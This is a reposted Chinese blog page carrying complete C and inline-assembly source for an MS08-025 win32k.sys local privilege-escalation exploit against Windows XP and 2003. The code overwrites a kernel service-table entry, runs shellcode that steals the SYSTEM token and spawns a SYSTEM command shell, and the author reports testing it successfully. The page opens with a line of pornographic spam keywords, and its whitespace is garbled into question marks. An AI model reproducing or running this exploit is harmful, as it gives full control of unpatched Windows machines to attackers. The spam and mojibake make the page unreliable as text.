日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit

發布時間:2024/4/11 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />

以下消息來自幻影論壇[Ph4nt0m]郵件組 ? [url]http://hi.baidu.com/vessial/blog/item/4ae4291b46f8e91c8718bfc2.html[/url]

?

?

歡迎轉載,但希望大家注明出處和保留其完整性,謝謝:)


MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit
另一種利用方式,通過覆蓋SSDTNtVdmControl的地址進行shellcode的執行

#include <stdio.h>
#include <windows.h>

typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE?????????????? ProcessHandle,
?????????????????????????????????????? PVOID??????????? *BaseAddress,
?????????????????????????????????????? ULONG??????????????? ZeroBits,
?????????????????????????????????????? PULONG?????????? RegionSize,
?????????????????????????????????????? ULONG??????????????? AllocationType,
?????????????????????????????????????? ULONG??????????????? Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
void ErrorQuit(char *msg)
{
??? printf("%s:%x\n", msg, GetLastError());
??? ExitProcess(0);
}
ZWVDMCONTROL??? ZwVdmControl=NULL;
OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

????? if ( OsVersionInfo.dwMinorVersion == 1 ) {

?????? __asm {

?????????????? nop
?????????????? nop
?????????????? nop
?????????????? nop
?????????????? nop
?????????????? nop

?????????????? mov eax,0xFFDFF124 // eax = KPCR (not <?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />3G Mode)
?????????????? Mov eax,[eax]

?????????????? mov esi,[eax+0x220]
?????????????? mov eax,esi

searchXp:

?????????????? mov eax,[eax+0x88]
?????????????? sub eax,0x88
?????????????? mov edx,[eax+0x84]
?????????????? cmp edx,0x4 // Find System Process
?????????????? jne searchXp

?????????????? mov eax,[eax+0xc8] //
獲取system進程的token
?????????????? mov [esi+0xc8],eax //
修改當前進程的token

?????????????? ret 8

?????? }
?? }
?? if ( OsVersionInfo.dwMinorVersion == 2 ) {

?????? __asm {

?????????? nop
?????????????? nop
?????????????? nop
?????????????? nop
?????????????? nop
?????????????? nop

?????????????? mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
?????????????? Mov eax,[eax]

?????????????? mov esi,[eax+0x220]
?????????????? mov eax,esi

search2003:

?????????????? mov eax,[eax+0x98]
?????????????? sub eax,0x98
?????????????? mov edx,[eax+0x94]
??????????????? cmp edx,0x4 // Find System Process
?????????????? jne search2003

?????????????? mov eax,[eax+0xd8] //
獲取system進程的token
?????????????? mov [esi+0xd8],eax //
修改當前進程的token
?????????????? ret 8

?????? }
?? }


}

void InitTrampoline()
{

?? PNTALLOCATE NtAllocateVirtualMemory;
?? LPVOID?????? addr = (LPVOID)3;
?? DWORD?????? dwShellSize=0x1000;
?? unsigned char trampoline[]="\x68\x00\x00\x00\x00" //push 0x0
?????????????????????????????? "\xc3";?????????????? // retn

?? NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");

?? if( !NtAllocateVirtualMemory )
?????? exit(0);

?? NtAllocateVirtualMemory(?? (HANDLE)-1,
?????????????????????????????? &addr,
?????????????????????????????? 0,
?????????????????????????????? &dwShellSize,
?????????????????????????????? MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
?????????????????????????????? PAGE_EXECUTE_READWRITE );

?? if( (PULONG)addr )
?? {
?????? printf("\n[++] Error Allocating memory\n");
?????? exit(0);
?? }


?? *(PULONG*)(trampoline+1)=(PULONG)ShellCode;
?? memcpy(NULL,trampoline,sizeof(trampoline)-1);
}
int Callback_Overview()
{
?? printf("\n");
?? printf("=====================================================================?? \n");
?? printf("\t\tMicrosoft Windows XP SP2 - MS08-025 -?????? \n");
?? printf("\twin32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit?? \n");
?? printf("=====================================================================?? \n");
?? printf("+ References:\n");
?? printf(" [url]http://www.microsoft.com/technet/security/bulletin/ms08-025.mspx[/url]\n");
?? printf(" [url]http://hi.baidu.com/vessial[/url]\n\n");
?? return 1;
}

void GetFunction()
{
??? HANDLE??? hNtdll,hNtos;
???
??? hNtdll = LoadLibrary("ntdll.dll");
??? if(hNtdll == NULL)
??????? ErrorQuit("LoadLibrary failed.\n");
???????
??? ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
??? if(ZwVdmControl == NULL)
??????? ErrorQuit("GetProcAddress failed.\n");
??????????????
??? FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{

?? //PULONG?? PntVdmControl=0x805F0DB0;
??? char*?? PntVdmControl=0x80502460; //
通過*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4獲得
???
????
?? STARTUPINFOA??????????????? stStartup;
?? PROCESS_INFORMATION??????????? pi;


?? Callback_Overview();
?? GetFunction();
?? RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
?? OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
?? GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

?? if ( OsVersionInfo.dwMajorVersion != 5 ) {

?????? printf( "Not NT5 system\n" );
?????? ExitProcess( 0 );
?? }
?? //Get Operatiny System Version
???????
?? InitTrampoline();

?? SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl );
?? SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, (char*)PntVdmControl+2);
?? printf("\n[+] Executing Shellcode...\n");

?? ZwVdmControl(0, NULL);
?? GetStartupInfo( &stStartup );

?? CreateProcess( NULL,
?????? "cmd.exe",
?????? NULL,
?????? NULL,
?????? TRUE,
?????? NULL,
?????? NULL,
?????? NULL,
?????? &stStartup,
?????? &pi );?? //
此時創建的cmd.exeSYSTEM權限

??
?? printf("[+] Exiting...\n");

?? return TRUE;
}
我在XP測試成功,下面的第一個cmdSYSTEM權限,這是我們提權后的,一個cmdtest權限

?

?

轉載于:https://blog.51cto.com/netwalk/72233

總結

以上是生活随笔為你收集整理的MS08-025 win32k.sys NtUserFnOUTSTRING Privilege Escalation Exploit的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。